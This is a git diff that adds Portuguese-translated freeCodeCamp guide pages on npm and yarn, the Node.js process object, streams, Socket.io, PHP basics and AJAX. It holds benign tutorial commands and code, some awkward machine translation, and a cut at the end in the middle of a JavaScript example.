+Quando você instala pacotes localmente, você precisa de um arquivo package.json. Para gerar um, você pode fazer isso usando o comando `npm init` . Ele vai aparecer com algumas perguntas que, ao pressionar Enter, você pode manter os valores padrão.
+
+```shell
+$ npm init 
+ package name: (project) 
+ version: (1.0.0) 
+ description: Demo of package.json 
+ entry point: (index.js) 
+ test command: 
+ git repository: 
+ keywords: 
+ author: 
+ license: (ISC) 
+```
+
+Pense em `package.json` como o guardião de todas as dependências ou manifestação de um projeto Node.js. Se você quiser uma maneira mais rápida de gerar um arquivo package.json, use `npm init --y` .
+
+Lista de Atributos Comuns em um arquivo `package.json` :
+
+*   nome - nome do pacote
+    
+*   versão - versão semântica do pacote
+    
+*   descrição - descrição do pacote
+    
+*   homepage - homepage do pacote
+    
+*   autor - autor do pacote
+    
+*   colaboradores - nome dos contribuintes para o pacote
+    
+*   dependências - lista de dependências. O NPM instala automaticamente todas as dependências mencionadas aqui na pasta node\_module do pacote.
+    
+*   devDependencies - lista de todas as dependências específicas de desenvolvimento
+    
+*   repositório - tipo de repositório e URL do pacote
+    
+*   ponto de entrada principal do pacote
+    
+*   palavras-chave - palavras-chave
+    
+*   licença - uma licença para o seu pacote, para que as pessoas saibam como podem usá-lo e quaisquer restrições que você esteja colocando nele.
+    
+*   scripts - A propriedade "scripts" é um dicionário que contém comandos de script que são executados em vários momentos no ciclo de vida do seu pacote.
+    
+*   config - objeto que pode ser usado para definir parâmetros de configuração usados ​​em scripts de pacotes que persistem em atualizações.
+    
+
+Um exemplo:
+
+```json
+{ 
+   "name": "express", 
+      "description": "Fast, unopinionated, minimalist web framework", 
+      "version": "4.11.2", 
+      "author": { 
+ 
+         "name": "TJ Holowaychuk", 
+         "email": "tj@vision-media.ca" 
+      }, 
+ 
+   "contributors": [{ 
+      "name": "Aaron Heckmann", 
+      "email": "aaron.heckmann+github@gmail.com" 
+   }, 
+ 
+    ], 
+   "license": "MIT", "repository": { 
+      "type": "git", 
+      "url": "https://github.com/strongloop/express" 
+   }, 
+   "homepage": "https://expressjs.com/", "keywords": [ 
+      "express", 
+      "framework", 
+      "sinatra", 
+      "web", 
+      "rest", 
+      "restful", 
+      "router", 
+      "app", 
+      "api" 
+   ], 
+   "dependencies": { 
+      "serve-static": "~1.8.1", 
+ 
+   }, 
+   "devDependencies": { 
+      "jade": "~1.9.1", 
+   }, 
+   "engines": { 
+      "node": ">= 0.10.0" 
+   }, 
+   "files": [ 
+      "LICENSE", 
+      "History.md", 
+      "Readme.md", 
+      "index.js", 
+      "lib/" 
+   ], 
+   "scripts": { 
+      "test": "mocha --require test/support/env 
+         --reporter spec --bail --check-leaks test/ test/acceptance/", 
+      "test-cov": "istanbul cover node_modules/mocha/bin/_mocha 
+         -- --require test/support/env --reporter dot --check-leaks test/ test/acceptance/", 
+      "test-tap": "mocha --require test/support/env 
+         --reporter tap --check-leaks test/ test/acceptance/", 
+      "test-travis": "istanbul cover node_modules/mocha/bin/_mocha 
+         --report lcovonly -- --require test/support/env 
+         --reporter spec --check-leaks test/ test/acceptance/" 
+   }, 
+ 
+ } 
+```
+
+## scripts do npm
+
+`npm` scripts `npm` são usados ​​para automatizar tarefas repetitivas. Por exemplo, construindo seu projeto, minimizando arquivos CSS (Cascading Style Sheets) e JavaScript (JS). Scripts também são usados ​​na exclusão de arquivos e pastas temporários, etc. Eles podem ser personalizados e acessados ​​via `scripts` em `package.json` .
+
+```json
+{ 
+  "name": "super-cool-package", 
+  "version": "1.0.0", 
+  "scripts": {} 
+ } 
+```
+
+Um exemplo do script NPM mais popular:
+
+```json
+"scripts": { 
+    "start": "node index.js", 
+    ... 
+ } 
+```
+
+## npm Cache
+
+Quando o npm instala um pacote, ele mantém uma cópia, então, da próxima vez que você quiser instalar esse pacote, ele não precisará acessar a rede. As cópias são armazenadas em cache no diretório .npm em seu caminho inicial.
+
+```shell
+$ ls ~/.npm 
+ lodash.zipobject 
+ log-driver 
+ log-symbols 
+ logalot 
+ logfmt 
+ loglevel 
+ long-timeout 
+ longest 
+ longest-strea 
+```
+
+Este diretório ficará cheio de pacotes antigos ao longo do tempo, por isso é útil limpá-lo ocasionalmente.
+
+```shell
+$ npm cache clean 
+```
+
+## Fio - uma alternativa ao npm
+
+Yarn também é um gerenciador de pacotes JavaScript desenvolvido e mantido pelo Facebook. Ambos compartilham semelhanças de alto nível quando se trata de usá-los. É supostamente mais rápido instalar dependências do que npm. Para instalá-lo:
+
+```shell
+npm install -g yarn 
+```
+
+O fio não pretende substituir o npm, mais como melhorar o mesmo. Ele usa o mesmo arquivo package.json e salva as dependências na pasta `node_modules/` . Para inicializar um projcet, você usará:
+
+```shell
+yarn init 
+```
+
+### Adicionando, Atualizando e Removendo Dependências
+
+Adicionar uma nova dependência é fácil e semelhante ao npm:
+
+```shell
+yarn add [package-name] 
+```
+
+Se você quer uma versão ou tag específica do pacote, você pode fazer isso.
+
+```shell
+yarn add express@4.14.1 
+```
+
+Para dependências dev, dependências ponto a ponto e dependências opcionais, você passa o --dev --peer --optional respectivamente.
+
+```shell
+yarn add gulp --dev 
+```
+
+Vai economizar gole sob devDependencies. Para atualizar ou remover um pacote, basta substituir o comando add por upgrade ou remove, seguido pelo nome do pacote.
+
+```shell
+# upgrade a gulp from 3.9.1 to version 4 
+ yarn upgrade gulp@4.0 
+ 
+ # remove a gulp 
+ yarn remove gulp 
+```
+
+Após cada instalação, atualização ou remoção, o fio atualiza um arquivo yarn.lock que acompanha a versão exata do pacote instalada no diretório node\_modules. Recurso semelhante foi atualizado em npm. Agora há um `package-lock.json` que se comporta exatamente da mesma maneira que o `yarn.lock` em versões mais novas do npm.
+
+### Números de versão do pacote e o que significam
+
+Uma primeira versão de um pacote npm é sempre 1.0.0
+
+Correções de bugs, ou pequenas alterações incrementam o terceiro dígito, o hens 1.0.0 se tornaria 1.0.1
+
+Novos recursos que não quebram versões anteriores de um pacote incrementam o segundo dígito, o hens 1.0.0 se tornaria 1.1.0
+
+Todas as alterações que quebram as versões anteriores de um pacote incrementam o primeiro dígito, o hens 1.0.0 se tornaria 2.0.0
+
+É importante lembrar disso ao atualizar os pacotes para manter seu projeto estável!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/nodejs/process/index.md b/client/src/guide/portuguese/nodejs/process/index.md
new file mode 100644
index 0000000000..b0257929dc
--- /dev/null
+++ b/client/src/guide/portuguese/nodejs/process/index.md
@@ -0,0 +1,89 @@
+---
+title: Process Object
+localeTitle: Objeto do processo
+---
+## Objeto do processo
+
+O objeto de `process` no Node.js é um objeto global que pode ser acessado dentro de qualquer módulo sem precisar dele. Existem muito poucos objetos ou propriedades globais fornecidos no Node.js e o `process` é um deles. É um componente essencial no ecossistema Node.js, pois fornece vários conjuntos de informações sobre o tempo de execução de um programa. Para explorar, usaremos uma de suas propriedades, chamada `process.versions` . Esta propriedade nos informa as informações sobre a versão do Node.js que instalamos. Tem que ser usado com o sinalizador `-p` .
+
+```shell
+$ node  -p "process.versions" 
+ 
+ # output 
+ { http_parser: '2.8.0', 
+  node: '8.11.2', 
+  v8: '6.2.414.54', 
+  uv: '1.19.1', 
+  zlib: '1.2.11', 
+  ares: '1.10.1-DEV', 
+  modules: '57', 
+  nghttp2: '1.29.0', 
+  napi: '3', 
+  openssl: '1.0.2o', 
+  icu: '60.1', 
+  unicode: '10.0', 
+  cldr: '32.0', 
+  tz: '2017c' } 
+```
+
+Outra propriedade que você pode verificar é a `process.release` que é igual ao comando `$ node --version` que usamos quando instalamos o Node.js, mas a saída desta vez será mais detalhada.
+
+```shell
+node -p "process.release" 
+ 
+ # output 
+ { name: 'node', 
+  lts: 'Carbon', 
+  sourceUrl: 'https://nodejs.org/download/release/v8.11.2/node-v8.11.2.tar.gz', 
+  headersUrl: 'https://nodejs.org/download/release/v8.11.2/node-v8.11.2-headers.tar.gz' } 
+```
+
+Estes são alguns dos diferentes comandos que podemos usar em uma linha de comando para acessar informações, caso contrário, nenhum módulo pode fornecer. Esse objeto de `process` é uma instância da classe EventEmitter e contém seus próprios eventos pré-definidos, como `exit` que podem ser usados ​​para saber quando um programa em Node.js concluiu sua execução. Execute o programa abaixo e você pode observar que o resultado surge com o código de status `0` . No Node.js este código de status significa que um programa foi executado com sucesso.
+
+```js
+process.on('exit', code => { 
+    setTimeout(() => { 
+        console.log('Will not get displayed'); 
+    }, 0); 
+ 
+    console.log('Exited with status code:', code); 
+ }); 
+ console.log('Execution Completed'); 
+```
+
+Saída do programa acima:
+
+```shell
+Execution Completed 
+ Exited with status code: 0 
+```
+
+`Process` também fornece várias propriedades para interagir. Alguns deles podem ser usados ​​em um aplicativo Node para fornecer um gateway para comunicação entre o aplicativo Node e qualquer interface de linha de comando. Isso é muito útil se você estiver construindo um aplicativo ou utilitário de linha de comando usando o Node.js
+
+*   process.stdin: um fluxo legível
+*   process.stdout: um fluxo gravável
+*   process.stderr: um fluxo útil para reconhecer erros
+
+Usando `argv` você sempre pode acessar argumentos que são passados ​​em uma linha de comando. `argv` é uma matriz que possui o próprio Node como o primeiro elemento e o caminho absoluto do arquivo como o segundo elemento. A partir do terceiro elemento, pode ter tantos argumentos.
+
+Experimente o programa abaixo para obter mais informações sobre como você pode usar essas várias propriedades e funções.
+
+```js
+process.stdout.write('Hello World!' + '\n'); 
+ 
+ process.argv.forEach(function(val, index, array) { 
+    console.log(index + ': ' + val); 
+ }); 
+```
+
+Se você executar o código acima com o seguinte comando, você obterá a saída e os dois primeiros elementos serão `argv` .
+
+```shell
+$ node test.js 
+ 
+ # output 
+ Hello World! 
+ 0: /usr/local/bin/node 
+ 1: /Users/amanhimself/Desktop/articles/nodejs-text-tuts/test.js 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/nodejs/socket.io/index.md b/client/src/guide/portuguese/nodejs/socket.io/index.md
new file mode 100644
index 0000000000..02a23458e2
--- /dev/null
+++ b/client/src/guide/portuguese/nodejs/socket.io/index.md
@@ -0,0 +1,30 @@
+---
+title: Socket.io
+localeTitle: Socket.io
+---
+## Socket.io
+
+[O Socket.io](https://socket.io/) é uma biblioteca do Node.js criada para ajudar a possibilitar a comunicação em tempo real entre computadores. Para garantir que o Socket.io use WebSockets para estabelecer uma conexão entre o navegador do cliente e o servidor. Esta biblioteca usa o [Engine.IO](https://github.com/socketio/engine.io) para construir a conexão.
+
+### Demos
+
+Para ter uma ideia do que é possível, o Socket.io oferece duas demonstrações para mostrar possíveis casos de uso. Você pode encontrar as demos em [https://socket.io/demos/chat/](https://socket.io/demos/chat/) e encontrar o link para a demonstração do quadro branco à esquerda.
+
+### Iniciar
+
+Como o Socket.io é uma biblioteca do Node.js, é necessário certificar-se de que o Node.js esteja instalado. Se ainda não estiver configurado, obtenha a versão mais recente em [Nodejs.org](https://nodejs.org/)
+
+#### Mac OS
+
+O Node.js também pode ser instalado através do [Homebrew,](https://brew.sh/) um gerenciador de pacotes para macOS.
+
+Basta digitar o `brew install node` de instalação do comando para instalar o Node.js.
+
+Um [a começar](https://socket.io/get-started/chat/) guia também pode ser encontrado na página do Socket.io. Ele mostra como criar facilmente um bate-papo em tempo real em apenas algumas linhas.
+
+#### Mais Informações
+
+Mais informações sobre o Socket.io e sua documentação podem ser encontradas em:
+
+*   [Socket.io](https://socket.io/)
+*   [Documentação Socket.io](https://socket.io/docs/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/nodejs/streams/index.md b/client/src/guide/portuguese/nodejs/streams/index.md
new file mode 100644
index 0000000000..75aa0c45ed
--- /dev/null
+++ b/client/src/guide/portuguese/nodejs/streams/index.md
@@ -0,0 +1,159 @@
+---
+title: Streams
+localeTitle: Córregos
+---
+## Córregos
+
+Os fluxos estão disponíveis na API principal do Node.js como objetos que permitem que os dados leiam ou escrevam de maneira contínua. Basicamente, um fluxo faz isso em partes, em comparação com o buffer, que faz o seu bit a bit, tornando-o um processo lento.
+
+Existem quatro tipos de fluxos disponíveis:
+
+*   Legível (fluxos dos quais os dados são lidos)
+*   Gravável (fluxos nos quais os dados são gravados)
+*   Duplex (fluxos que são legíveis e graváveis)
+*   Transform (fluxos duplex que podem modificar dados à medida que são lidos e gravados)
+
+Cada tipo disponível tem vários métodos associados. Alguns dos mais comuns são:
+
+*   dados (isso é executado quando os dados estão disponíveis)
+*   end (isso é acionado quando não há dados para ler)
+*   erro (isso é executado quando há um erro ao receber ou gravar dados)
+
+### Tubo
+
+Na programação, o conceito de `pipe` não é novo. Sistemas baseados em Unix têm usado pragmaticamente desde os anos 70. O que faz um tubo? Um `pipe` geralmente conecta a origem e o destino. Ele passa a saída de uma função como a entrada de outra função.
+
+No Node.js, o `pipe` é usado da mesma maneira, para emparelhar entradas e saídas de diferentes operações. `pipe()` está disponível como uma função que recebe um fluxo de origem legível e anexa a saída a um fluxo de destino. A sintaxe geral pode ser representada como:
+
+```javascript
+src.pipe(dest); 
+```
+
+Várias funções de `pipe()` também podem ser encadeadas.
+
+```javascript
+a.pipe(b).pipe(c); 
+ 
+ // which is equivalent to 
+ 
+ a.pipe(b); 
+ b.pipe(c); 
+```
+
+### Correntes legíveis
+
+Fluxos que produzem dados que podem ser anexados como entrada a um fluxo gravável são conhecidos como fluxo legível. Para criar um fluxo legível:
+
+```javascript
+const { Readable } = require('stream'); 
+ 
+ const readable = new Readable(); 
+ 
+ readable.on('data', chunk => { 
+  console.log(`Received ${chunk.length} bytes of data.`); 
+ }); 
+ readable.on('end', () => { 
+  console.log('There will be no more data.'); 
+ }); 
+```
+
+### Stream gravável
+
+Esse é o tipo de fluxo que você pode `pipe()` os dados para uma fonte legível. Para criar um fluxo gravável, temos uma abordagem de construtor. Criamos um objeto a partir dele e passamos várias opções. O método leva três argumentos:
+
+*   pedaço: um buffer
+*   codificação: para converter dados para formato legível por humanos
+*   retorno de chamada: uma função que é chamada quando os dados são processados ​​a partir do bloco
+
+```javascript
+const { Writable } = require('stream'); 
+ const writable = new Writable({ 
+  write(chunk, encoding, callback) { 
+    console.log(chunk.toString()); 
+    callback(); 
+  } 
+ }); 
+ 
+ process.stdin.pipe(writable); 
+```
+
+### Fluxos Duplex
+
+Fluxos Duplex nos ajudam a implementar fluxos legíveis e graváveis ​​ao mesmo tempo.
+
+```javascript
+const { Duplex } = require('stream'); 
+ 
+ const inoutStream = new Duplex({ 
+  write(chunk, encoding, callback) { 
+    console.log(chunk.toString()); 
+    callback(); 
+  }, 
+ 
+  read(size) { 
+    this.push(String.fromCharCode(this.currentCharCode++)); 
+    if (this.currentCharCode > 90) { 
+      this.push(null); 
+    } 
+  } 
+ }); 
+ 
+ inoutStream.currentCharCode = 65; 
+ process.stdin.pipe(inoutStream).pipe(process.stdout); 
+```
+
+O fluxo `stdin` canaliza os dados legíveis para o fluxo duplex. O `stdout` nos ajuda a ver os dados. As partes legíveis e graváveis ​​de um fluxo duplex operam completamente independentes umas das outras.
+
+### Transform Stream
+
+Esse tipo de fluxo é mais uma versão avançada do fluxo duplex.
+
+```javascript
+const { Transform } = require('stream'); 
+ 
+ const upperCaseTr = new Transform({ 
+  transform(chunk, encoding, callback) { 
+    this.push(chunk.toString().toUpperCase()); 
+    callback(); 
+  } 
+ }); 
+ 
+ process.stdin.pipe(upperCaseTr).pipe(process.stdout); 
+```
+
+Os dados que estamos consumindo são os mesmos do exemplo anterior do fluxo duplex. A coisa a notar aqui é que `transform()` não requer a implementação de métodos de `read` ou `write` . Ele combina os dois métodos.
+
+### Por que usar o Streams?
+
+Como o Node.js é assíncrono, ele interage passando retornos de chamada para funções com disco e rede. Um exemplo dado abaixo lê os dados de um arquivo no disco e responde à solicitação de rede do cliente.
+
+```javascript
+const http = require('http'); 
+ const fs = require('fs'); 
+ 
+ const server = http.createServer((req, res) => { 
+  fs.readFile('data.txt', (err, data) => { 
+    res.end(data); 
+  }); 
+ }); 
+ server.listen(8000); 
+```
+
+O trecho de código acima funcionará, mas os dados inteiros do arquivo irão primeiro para a memória para cada solicitação antes de gravar o resultado de volta para a solicitação do cliente. Se o arquivo que estamos lendo for muito grande, isso pode se tornar uma chamada de servidor muito pesada e cara, pois consumirá muita memória para que o processo avance. A experiência do usuário no lado do cliente também sofrerá de atraso.
+
+Nesse caso, se usarmos fluxos, os dados serão enviados para a solicitação do cliente como um bloco de cada vez, assim que eles forem recebidos do disco.
+
+```javascript
+const http = require('http'); 
+ const fs = require('fs'); 
+ 
+ const server = http.createServer((req, res) => { 
+  const stream = fs.createReadStream('data.txt'); 
+  stream.pipe(res); 
+ }); 
+ server.listen(8000); 
+```
+
+O `pipe()` aqui se encarrega de escrever ou, no nosso caso, enviar os dados com o objeto de resposta e assim que todos os dados forem lidos do arquivo, fechar a conexão.
+
+Nota: `process.stdin` e `process.stdout` são construídos em fluxos no objeto de `process` global fornecido pela API Node.js.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php-syntax-overview/index.md b/client/src/guide/portuguese/php-syntax-overview/index.md
new file mode 100644
index 0000000000..a70cfb8df1
--- /dev/null
+++ b/client/src/guide/portuguese/php-syntax-overview/index.md
@@ -0,0 +1,179 @@
+---
+title: PHP Syntax Overview
+localeTitle: Visão Geral da Sintaxe do PHP
+---
+Este capítulo lhe dará uma idéia da sintaxe muito básica do PHP e é muito importante para tornar sua base do PHP forte.
+
+### Escapando para o PHP
+
+O mecanismo de análise do PHP precisa de uma maneira de diferenciar o código PHP de outros elementos da página. O mecanismo para fazer isso é conhecido como 'escapando para o PHP'. Existem quatro maneiras de fazer isso
+
+#### Tags PHP canônicas
+
+O estilo de tag PHP mais universalmente eficaz é -
+```
+<?php...?> 
+```
+
+Se você usar esse estilo, pode ter certeza de que suas tags sempre serão interpretadas corretamente.
+
+#### Tags abreviadas (estilo SGML)
+
+Tags curtas ou abreviadas se parecem com isso -
+```
+<?...?> 
+```
+
+Tags curtas são, como se poderia esperar, a opção mais curta Você deve fazer uma das duas coisas para permitir que o PHP reconheça as tags -
+
+Escolha a opção de configuração --enable-short-tags quando você está construindo o PHP.
+
+Defina a configuração de tag de _abertura_ curta em seu arquivo php.ini para on. Essa opção deve ser desativada para analisar XML com PHP porque a mesma sintaxe é usada para tags XML.
+
+#### Tags de estilo ASP
+
+As tags de estilo ASP imitam as tags usadas pelo Active Server Pages para delinear blocos de código. Tags de estilo ASP se parecem com isso -
+```
+<%...%> 
+```
+
+Para usar tags no estilo ASP, você precisará definir a opção de configuração no arquivo php.ini.
+
+#### Tags de script HTML
+
+Tags de script HTML se parecem com isso -
+```
+<script language="PHP">...</script> 
+```
+
+### Comentando o código PHP
+
+Um comentário é a parte de um programa que existe apenas para o leitor humano e retirado antes de exibir o resultado do programa. Existem dois formatos de comentário em PHP -
+
+#### Comentários de linha única -
+
+Eles geralmente são usados ​​para breves explicações ou notas relevantes para o código local. Aqui estão os exemplos de comentários de linha única.
+
+\`\` \` <? # Este é um comentário e # Esta é a segunda linha do comentário
+
+// Este é um comentário também. Cada estilo só comenta print "Um exemplo com comentários de linha única"; ?>
+```
+#### Multi-lines printing − 
+ Here are the examples to print multiple lines in a single print statement − 
+ 
+ ``` 
+ <? 
+   # First Example 
+   print <<<END 
+   This uses the "here document" syntax to output 
+   multiple lines with $variable interpolation. Note 
+   that the here document terminator must appear on a 
+   line with just a semicolon no extra whitespace! 
+   END; 
+ 
+   # Second Example 
+   print "This spans 
+   multiple lines. The newlines will be 
+   output as well"; 
+ ?> 
+```
+
+#### Comentários em várias linhas -
+
+Eles geralmente são usados ​​para fornecer algoritmos de pseudocódigo e explicações mais detalhadas quando necessário. O estilo multilinha de comentar é o mesmo que em C. Aqui está o exemplo de comentários de várias linhas.
+```
+<? 
+   /* This is a comment with multiline 
+      Author : Mohammad Mohtashim 
+      Purpose: Multiline Comments Demo 
+      Subject: PHP 
+   */ 
+ 
+   print "An example with multi line comments"; 
+ ?> 
+```
+
+### PHP é insensível a espaços em branco
+
+Espaços em branco são as coisas que você digita que normalmente são invisíveis na tela, incluindo espaços, tabulações e retornos de carro (caracteres de final de linha).
+
+O espaço em branco do PHP insensível significa que quase nunca importa quantos caracteres de espaço em branco você tem em uma linha. Um caractere de espaço em branco é o mesmo que muitos desses caracteres.
+
+Por exemplo, cada uma das seguintes instruções do PHP que atribui a soma de 2 + 2 à variável $ quatro é equivalente -
+```
+$four = 2 + 2; // single spaces 
+ $four <tab>=<tab2<tab>+<tab>2 ; // spaces and tabs 
+ $four = 
+ 2+ 
+ 2; // multiple lines 
+```
+
+### PHP é case sensitive
+
+Sim, é verdade que o PHP é uma linguagem que diferencia maiúsculas de minúsculas. Experimente o seguinte exemplo -
+```
+<html> 
+   <body> 
+ 
+      <?php 
+         $capital = 67; 
+         print("Variable capital is $capital<br>"); 
+         print("Variable CaPiTaL is $CaPiTaL<br>"); 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+Isso produzirá o seguinte resultado -
+```
+Variable capital is 67 
+ Variable CaPiTaL is 
+```
+
+### Declarações são expressões terminadas por ponto e vírgula
+
+Uma instrução em PHP é qualquer expressão que é seguida por um ponto-e-vírgula (;) Qualquer sequência de instruções PHP válidas contidas nas tags PHP é um programa PHP válido. Aqui está uma declaração típica em PHP, que neste caso atribui uma string de caracteres a uma variável chamada $ greeting -
+```
+$greeting = "Welcome to PHP!"; 
+```
+
+### Expressões são combinações de tokens
+
+Os menores blocos de construção do PHP são os tokens indivisíveis, como números (3.14159), strings (. Dois), variáveis ​​($ dois), constantes (TRUE) e as palavras especiais que compõem a sintaxe do próprio PHP como se , mais, enquanto, por e assim por diante
+
+### Chaves fazem blocos
+
+Embora as instruções não possam ser combinadas como expressões, você sempre pode colocar uma sequência de instruções em qualquer lugar que uma instrução possa ir colocando-as em um conjunto de chaves.
+
+Aqui ambas as declarações são equivalentes -
+```
+if (3 == 2 + 1) 
+   print("Good - I haven't totally lost my mind.<br>"); 
+ 
+ if (3 == 2 + 1) { 
+   print("Good - I haven't totally"); 
+   print("lost my mind.<br>"); 
+ } 
+```
+
+### Executando Script PHP no Prompt de Comando
+
+Sim, você pode executar seu script PHP no seu prompt de comando. Supondo que você tenha o seguinte conteúdo no arquivo test.php
+```
+<?php 
+   echo "Hello PHP!!!!!"; 
+ ?> 
+```
+
+Agora, execute este script como um prompt de comando da seguinte maneira:
+```
+$ php test.php 
+```
+
+Produzirá o seguinte resultado -
+```
+Hello PHP!!!!! 
+```
+
+Espero que agora você tenha conhecimentos básicos de PHP Syntax.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/PHP Data Types/index.md b/client/src/guide/portuguese/php/PHP Data Types/index.md
new file mode 100644
index 0000000000..12a104fd9f
--- /dev/null
+++ b/client/src/guide/portuguese/php/PHP Data Types/index.md	
@@ -0,0 +1,28 @@
+---
+title: PHP Data Types
+localeTitle: Tipos de dados PHP
+---
### Tipos de dados
+
+Cada variável em uma linguagem de programação tem um tipo de dados associado. Cada tipo de dados requer diferentes quantidades de memória e possui algumas operações específicas que podem ser executadas sobre ele.
+
+\### Tipos de dados PHP
+
+O PHP suporta os seguintes tipos de dados: 1. `Integers` - são números inteiros, sem um ponto decimal, como 515.
+
+2\. `Doubles` - são números de ponto flutuante, como 3.159 ou 149.1.
+
+3\. `Booleans` - possuem apenas dois valores possíveis, verdadeiro ou falso.
+
+4\. `NULL` - é um tipo especial que possui apenas um valor: NULL.
+
+5\. `Strings` - são seqüências de caracteres, como 'PHP suporta operações de string.'
+
+6\. `Arrays` - são coleções nomeadas e indexadas de outros valores.
+
+7\. `Objects` - são instâncias de classes definidas pelo programador, que podem empacotar outros tipos de valores e funções específicos da classe.
+
+8\. `Resources` - são variáveis ​​especiais que contêm referências a recursos externos ao PHP (como conexões de banco de dados).
+
+Os primeiros cinco são tipos simples, e os dois seguintes (arrays e objetos) são compostos - os tipos compostos podem empacotar outros valores arbitrários do tipo arbitrário, enquanto os tipos simples não podem.
+
+\### Mais Informaton Para mais recursos, visite: https://www.w3schools.com/php/php\_datatypes.asp
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/PHP Operators/index.md b/client/src/guide/portuguese/php/PHP Operators/index.md
new file mode 100644
index 0000000000..11a8ebd78c
--- /dev/null
+++ b/client/src/guide/portuguese/php/PHP Operators/index.md	
@@ -0,0 +1,10 @@
+---
+title: PHP Operators
+localeTitle: Operadores PHP
+---
## Operadores PHP
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/php-operators/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/PHP Syantax and Comments/index.md b/client/src/guide/portuguese/php/PHP Syantax and Comments/index.md
new file mode 100644
index 0000000000..2d97273f78
--- /dev/null
+++ b/client/src/guide/portuguese/php/PHP Syantax and Comments/index.md	
@@ -0,0 +1,40 @@
+---
+title: PHP Syantax and Comments
+localeTitle: PHP Syantax e Comentários
+---
### PHP Syantx
+
+A estrutura de um PHP syantax se parece com:
+
+```shell
+    <?php 
+ 
+    // Your PHP code goes here. 
+ 
+    ?> 
+```
+
+Este script PHP pode ser colocado em qualquer lugar no documento. Um arquivo PHP geralmente tem tags HTML e algum código de script. A extensão de arquivo padrão para arquivos PHP é `.php` .
+
+\### Como fazer comentários em PHP?
+
+Um comentário em código PHP é uma linha que não é lida / executada como parte do programa. Seu único propósito é ser lido por alguém que esteja olhando para o código.
+
+No PHP, os comentários podem ser feitos de duas maneiras, seja de uma única linha ou de várias linhas. O trecho de código abaixo explica isso:
+
+```shell
+<? 
+   // This is a single-line comment 
+ 
+    # This is also a single-line comment 
+ 
+   /* 
+     This is a multiple-lines comment block 
+     that spans over multiple 
+     lines 
+   */ 
+ ?> 
+```
+
+### Mais Informações
+
+Para mais recursos você pode visitar: https://www.w3schools.com/php/php\_syntax.asp
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/PHP Variables/index.md b/client/src/guide/portuguese/php/PHP Variables/index.md
new file mode 100644
index 0000000000..730b3897de
--- /dev/null
+++ b/client/src/guide/portuguese/php/PHP Variables/index.md	
@@ -0,0 +1,18 @@
+---
+title: PHP Variables
+localeTitle: Variáveis ​​PHP
+---
### Tipos PHP-Vaiables
+
+Variáveis ​​são a principal maneira de armazenar informações no meio de um programa PHP. Todas as variáveis ​​no PHP são doadas com um sinal de dólar como `$variable_name` . As variáveis ​​são atribuídas com o `= operator` , com a variável do lado esquerdo e a expressão a ser avaliada à direita.
+
+### Nomenclatura Variável
+
+As regras para nomear uma variável estão listadas abaixo:
+
+1.  Os nomes das variáveis ​​devem começar com uma letra ou caractere sublinhado. 2.Um nome de variável pode consistir em números, letras, sublinhados, mas você não pode usar caracteres como `+ , - , % , ( , ) . &` em seu nome. Os nomes 3.Variable são sensíveis a maiúsculas e minúsculas ie `($age and $AGE are two different variables)` .
+
+### Criando (declarando) variáveis ​​PHP
+
+No PHP, uma variável começa com o sinal $, seguido pelo nome da variável. O trecho de código abaixo mostra isso.
+
+`shell <?php $txt = "Hello world!"; $x = 6; $y = 10.5; ?>`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/ajax/index.md b/client/src/guide/portuguese/php/ajax/index.md
new file mode 100644
index 0000000000..58ffe699fb
--- /dev/null
+++ b/client/src/guide/portuguese/php/ajax/index.md
@@ -0,0 +1,114 @@
+---
+title: AJAX
+localeTitle: AJAX
+---
+## AJAX
+
+**AJAX** significa **asynchronous JavaScript And XML** . Não é uma linguagem de programação. É uma tecnologia para desenvolver aplicativos da Web melhores, mais rápidos e interativos usando HTML, CSS, JavaScript e XML.
+
+1.  HTML: Hypertext Markup Language (HTML) é usado para definir a estrutura de um aplicativo da Web.
+2.  CSS: CSS (Cascading Style Sheet) é usado para fornecer aparência e estilo a um aplicativo da Web.
+3.  JavaScript: JavaScript é usado para tornar um aplicativo da Web interativo, interessante e amigável.
+4.  XML: Extensible Markup Language (XML) é um formato para armazenar e transportar dados do servidor da Web.
+
+#### Qual é o significado de assíncrono no AJAX?
+
+Assíncrono significa que o aplicativo da Web pode enviar e receber dados do servidor da Web sem atualizar a página. Esse processo em segundo plano de envio e recebimento de dados do servidor, juntamente com a atualização de diferentes seções de uma página da Web, define a propriedade / recurso Assíncrono do AJAX.
+
+#### Como o **AJAX** funciona?
+
+AJAX faz uso de um **objeto XMLHttpRequest** interno do navegador para solicitar dados de um servidor Web e **HTML DOM** para exibir ou usar os dados.
+
+**Objeto XMLHttpRequest** : É uma API na forma de um objeto cujos métodos ajudam na transferência de dados entre um navegador da web e um servidor da web.
+
+**DOM HTML** : Quando uma página da Web é carregada, o navegador cria um Modelo de Objeto de Documento da página.
+
+![](https://i.imgur.com/pfC7QFH.png "Como funciona o AJAX")
+
+**Crie um objeto XMLHttpRequest:**
+
+```javascript
+var xhttp = new XMLHttpRequest(); 
+```
+
+**Propriedades do objeto XMLHttpRequest:**
+
+`readystate` é uma propriedade do objeto XMLHttpRequest que contém o status do XMLHttpRequest.
+
+*   0: pedido não inicializado
+*   1: conexão do servidor estabelecida
+*   2: pedido recebido
+*   3: solicitação de processamento
+*   4: pedido finalizado e resposta pronta
+
+`onreadystatechange` é uma propriedade do objeto XMLHttpRequest que define uma função a ser chamada quando a propriedade readyState é alterada.  
+
+`status` é uma propriedade do objeto XMLHttpRequest que retorna o número de status de uma solicitação
+
+*   200: "OK"
+*   403: "Proibido"
+*   404 não encontrado"
+
+**Métodos de objeto XMLHttpRequest:** Para enviar uma solicitação para um servidor da Web, usamos os métodos open () e send () do objeto XMLHttpRequest.
+
+```javascript
+xhttp.open("GET", "content.txt", true); 
+ xhttp.send(); 
+```
+
+**Crie uma função changeContent () usando JavaScript:**
+
+```javascript
+function changeContent() { 
